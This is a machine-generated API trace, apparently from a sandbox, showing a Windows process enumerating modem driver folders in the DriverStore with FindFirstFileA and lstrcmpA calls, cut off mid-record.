[0145.616] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmdcm6.inf_amd64_neutral_b1db427ce3d2a1b4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a8d4529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67c6ca26, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67c6ca26, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.617] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.618] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmdf56f.inf_amd64_neutral_26a79521b746fc31\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a992c0a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67c92b87, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67c92b87, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.619] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.619] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmdgitn.inf_amd64_neutral_09132735f1063a47\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4aa2b18c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67cb8ce7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67cb8ce7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.620] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.620] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmdp2.inf_amd64_neutral_ab710894455d7b9a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4aac370d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67cdee47, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67cdee47, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.621] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.622] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmdsi.inf_amd64_neutral_e77f438012239042\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ac404cf, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67d2b108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67d2b108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.622] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.623] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmdyna.inf_amd64_neutral_7e4d690d07ee94c1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4adbd292, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67de97e9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67de97e9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.623] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.624] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmeiger.inf_amd64_neutral_492d4e047d14bde9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ae7b974, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67e5bc0a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67e5bc0a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.625] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.634] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmelsa.inf_amd64_neutral_374f9d31af832d6b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4af86315, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x67ea7eca, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x67ea7eca, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.635] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.636] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmeric.inf_amd64_neutral_27c5b45728cc9ed0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b090cb7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6817b8f0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6817b8f0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.636] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.637] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmeric2.inf_amd64_neutral_a0575ec9ce5c7de9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b129238, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x681a1a50, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x681a1a50, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.637] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.638] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmetech.inf_amd64_neutral_230358eeb58f0b3b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b20da7a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x681c7bb0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x681c7bb0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.639] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.639] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmfj2.inf_amd64_neutral_9c9eb67d406a1632\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b2cc15b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x681edd10, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x681edd10, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.640] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.640] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgatew.inf_amd64_neutral_84eee4cc19fd00dc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b3d6afd, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68213e71, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68213e71, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.641] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.642] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgcs.inf_amd64_neutral_aafcd45e4e890862\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b4bb33f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68260131, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68260131, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.642] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.643] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgen.inf_amd64_neutral_7a967d06d569b1e4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b59fb81, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68286292, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68286292, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.643] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.645] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgl001.inf_amd64_neutral_9209e816461a1a73\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47580a6b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6610ccf4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6610ccf4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.646] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.647] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgl002.inf_amd64_neutral_e204d4267d752eb7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4768b40c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66158fb4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66158fb4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.647] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.648] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgl003.inf_amd64_neutral_4c78da9e48068043\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4776fc4e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x661a5275, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x661a5275, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.648] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.649] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgl004.inf_amd64_neutral_1874f16002601f78\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47e6dcfb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6642c9da, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6642c9da, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.650] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.650] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgl005.inf_amd64_neutral_8b56291bfd2a4061\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48356a64, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66857061, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66857061, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.651] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.651] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgl006.inf_amd64_neutral_e5693eb731048022\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48487566, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x668a3322, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x668a3322, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.652] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.653] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgl007.inf_amd64_neutral_935cd017fcb965ee\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x485de1c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6693b8a3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6693b8a3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.653] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.654] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgl008.inf_amd64_neutral_d225e15af1a594cd\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x486e8b6b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66987b63, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66987b63, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.655] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.655] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgl009.inf_amd64_neutral_bed6224f27f5c478\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4881966d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x669f9f84, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x669f9f84, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.656] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.656] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgl010.inf_amd64_neutral_46f466c9e68abb4a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x489702cf, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66a6c3a5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66a6c3a5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.657] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.658] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmgsm.inf_amd64_neutral_dd3fbd8c64c7c87d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b6843c2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x682f86b2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x682f86b2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.658] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.659] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmhaeu.inf_amd64_neutral_6611a858035bf482\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b71c943, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6831e813, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6831e813, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.660] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.660] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmhandy.inf_amd64_neutral_386661b46df6da3f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b7db025, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6836aad3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6836aad3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.661] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.662] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmhay2.inf_amd64_neutral_ff250f861d941dd8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b8bf866, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x683b6d94, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x683b6d94, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.662] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.668] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmhayes.inf_amd64_neutral_507db5d34d7acddc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b9f0369, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68618398, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68618398, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.668] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.669] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdminfot.inf_amd64_neutral_fc6bcd80e9e6a3c3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bad4baa, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68664659, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68664659, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.670] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.670] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmiodat.inf_amd64_neutral_839e9ee1a8736613\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bbdf54c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6889fafd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6889fafd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.671] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.671] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmirmdm.inf_amd64_neutral_fadec14b0a37b637\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39b8ca79, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f6ad510, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f6ad510, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.673] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.673] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmisdn.inf_amd64_neutral_061c61abd3904560\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bc9dc2e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x688c5c5d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x688c5c5d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.674] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.675] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmjf56e.inf_amd64_neutral_328dabbf0aeed9bc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bd8246f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68911f1e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68911f1e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.675] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.676] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmke.inf_amd64_neutral_3e4daa83122b1559\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4be1a9f0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68911f1e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68911f1e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.677] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.677] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmkortx.inf_amd64_neutral_1975687236603184\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bed90d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6893807e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6893807e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.678] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.678] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmlasat.inf_amd64_neutral_bc1469ba40fe2114\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bf71653, ftCreationTime.dwHighDateTime=0x1ca0444, 